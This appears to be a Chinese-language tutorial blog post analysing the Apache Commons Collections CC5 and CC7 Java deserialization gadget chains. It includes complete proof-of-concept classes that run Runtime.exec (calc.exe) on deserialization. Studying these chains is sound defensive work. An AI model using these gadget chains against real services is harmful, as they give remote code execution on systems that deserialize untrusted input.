CommonsCollections5 还是从ysoserial中的代码入手,可以发现代码中引入了新类:BadAttributeValueExpException
,且很明显该类即反序列化所调用的类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public BadAttributeValueExpException getObject (final String command) throws Exception { final String[] execArgs = new String [] { command }; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer (1 ) }; final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return val; }
BadAttributeValueExpException BadAttributeValueExpException
是 Java 中的一个异常类,用于表示由于无效的属性值导致的异常情况。通常与 Java 命名、目录接口(JNDI)或 LDAP(轻量级目录访问协议)相关,用于处理目录服务中的属性。
在上面代码中除了BadAttributeValueExpException
,同时还用到了TiedMapEntry
。
回忆CC6中TiedMapEntry
调用链为:
TiedMapEntry#hashCode()
->TiedMapEntry#getValue()
->LazyMap#get()
因此可以确定在BadAttributeValueExpException#readObject()
中会直接或者间接的调用TiedMapEntry#getvalue()
。在这里TiedMapEntry
为BadAttributeValueExpException
成员变量val
查看readObject()
,很明显valObj
即TiedMapEntry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
代码中valObj.toString()
即TiedMapEntry.toString()
。
查看TiedMapEntry#toString()
:可以看到在这里执行了TiedMapEntry#getValue()
1 2 3 public String toString () { return this .getKey() + "=" + this .getValue(); }
到这里整条链就已经很清楚了。
BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
TiedMapEntry#getValue()
LazyMap#get()
按照ysoserial的思路自己构造CC5如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package org.example;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"C:\\Windows\\System32\\calc.exe" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); Map innerMap=new HashMap (); LazyMap lazyMap= (LazyMap) LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"xxxx" ); BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException (null ); SetFieldValue("val" ,badAttributeValueExpException,tiedMapEntry); File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectOutputStream.writeObject(badAttributeValueExpException); Object o=objectInputStream.readObject(); } static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } }
注意事项 在调试CommonCollections5的过程中发现执行if (valObj == null)
时就会弹出计算机。
但是真正的出发点应当是下面的valObj.toString()
后面查了以下资料得知,idea在调试的过程中,会自动调用类的toString()
方法,以便于在控制台显示。正常情况下这么做没问题,但是如果像我们上面的情况,或者toString()
方法是经过重写后的,在调试过程中就会产生出乎意料的错误。
解决方法很简单:设置中勾选掉下面两个模块即可(很多文章写的只勾选最后一个就行是错误的)
CommonsCollections7 从ysoserial中不难看出CommonsCollections7引入了Hashtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public Hashtable getObject (final String command) throws Exception { final String[] execArgs = new String []{command}; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); lazyMap2.remove("yy" ); return hashtable; }
CommonsCollections7调试 Hashtable和HashMap有类似,具体二者的区别这里不做讨论。
针对CommonsCollections7进行调试我们定位到触发点在Hashtable#readObject()
中调用的Hashtable#reconstitutionPut()
方法
在反序列化时,会通过循环获取两个Entry的key和value,并放到Hashtable#reconstitutionPut()
中
1 2 3 4 5 6 7 8 for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); }
针对该方法进行调试,定位到触发点为if ((e.hash == hash) && e.key.equals(key))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
我们来捋一下该方法做了什么。目前已知Hashtable
中存在两个Entry,分别是<lazyMap1,1>和<lazyMap2,2>
第一次执行reconstitutionPut()
时,key为lazyMap1
,value为1
int hash = key.hashCode()
:获取lazyMap1
的hash值
int index = (hash & 0x7FFFFFFF) % tab.length
:根据hash值确定lazyMap1
在数组中的位置(补充:Hashtable本质上时数组)
进入for循环,e = tab[index]
。此时e为空,因此并不会真正的进入for循环
tab[index] = new Entry<>(hash, key, value, e)
:将lazyMap1
放入数组中
第二次执行reconstitutionPut()
时,key为lazyMap2
,value为2
前面的步骤相同。hash值和index也与第一次获取的相同。
进入for循环,e = tab[index]
。此时e为前面存储的lazyMap1
不为空,进入循环。(补充:这里的e是Hashtable类)
执行e.key.equals(key)
:e.key
即lazyMap1
。这里是将lazyMap1
和lazyMap2
进行比较。
由于LazyMap
类本身没有equals
,所以此处调用的为AbstractMapDecorator#equals()
1 2 3 public boolean equals (Object object) { return object == this ? true : this .map.equals(object); }
重点在这一句代码:return object == this ? true : this.map.equals(object)
。此时this
为lazyMap1
,object
为lazyMap2
,很明显两者不相等。因此会执行this.map.equals(object)
,这里要注意this.map
即lazyMap1.map
,对应的是innerMap1
。
innerMap1
为HashMap
类,HashMap
本身并没有equals()
方法,所以此处调用的为AbstractMap#equals()
,传入的参数o为lazyMap2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
上面代码中执行了if (!value.equals(m.get(key)))
,这里的m即lazyMap2
。很明显就是这里执行了LazyMap#get()
,并以此来执行任意命令。
到这里差不多就捋清了CommonsCollections7的调用链
Hashtable#readObject()
Hashtable#reconstitutionPut()
AbstractMapDecorator#equals()
AbstractMap#equals()
LazyMap#get()
自己构造poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package org.example;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static void main (String[] args) throws Exception { File file = new File ("./a.txt" ); try { file.createNewFile(); } catch (IOException e) { e.printStackTrace(); } FileOutputStream fileOutputStream = new FileOutputStream (file); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); FileInputStream fileInputStream = new FileInputStream (file); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"C:\\Windows\\System32\\calc.exe" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (new Transformer []{new ConstantTransformer (0 )}); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); lazyMap2.remove("yy" ); SetFieldValue("iTransformers" ,chainedTransformer,transformers); objectOutputStream.writeObject(hashtable); Object o=objectInputStream.readObject(); } static void SetFieldValue (String FieldName,Object object,Object value) throws Exception{ Field field=object.getClass().getDeclaredField(FieldName); field.setAccessible(true ); field.set(object,value); } }
注意事项 在构造LazyMap后存储的Entry:<"yy",1>
、<"zZ",1>
不是固定的,但一定要保证hash值相同
回头看一下reconstitutionPut
方法
1 if ((e.hash == hash) && e.key.equals(key))
当e.hash == hash
才会进一步执行equals()
方法。这里如果进行调试会发现最后是对innerMap1和innerMap2的键值对:<"yy",1>
和<"zZ",1>
的hash值进行比较。(两个键值对的hash值均为3873)
查看“yy”和“zZ”的hash值发现均为3872。(上面是3873是因为还有value的hash值)
跟踪调试一下hashCode()
方法,发现Java针对字符串获取hash值的逻辑为:
将字符串拆分为数组
获取每个字符的ASCII码
初始hash值为0
将hash值乘31之后加上字符ASCII
读取下一个字符ASCII,并重复第4步直到结束
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { int h = hash; if (h == 0 && value.length > 0 ) { char val[] = value; for (int i = 0 ; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
比如上面的“yy”,hash值为121*31+121=3872。”zZ”的hash值为122*31+90=3872。掌握这个规律我们可以构造其他键值对,比如:<"xx",1>
和<"z:",1>
总结 CommonsCollections5:
BadAttributeValueExpException#readObject() —TiedMapEntry#toString() ——TiedMapEntry#getValue() ———LazyMap#get()
CommonsCpllections7:
Hashtable#readObject() —Hashtable#reconstitutionPut() ——AbstractMapDecorator#equals() ———AbstractMap#equals() ————LazyMap#get()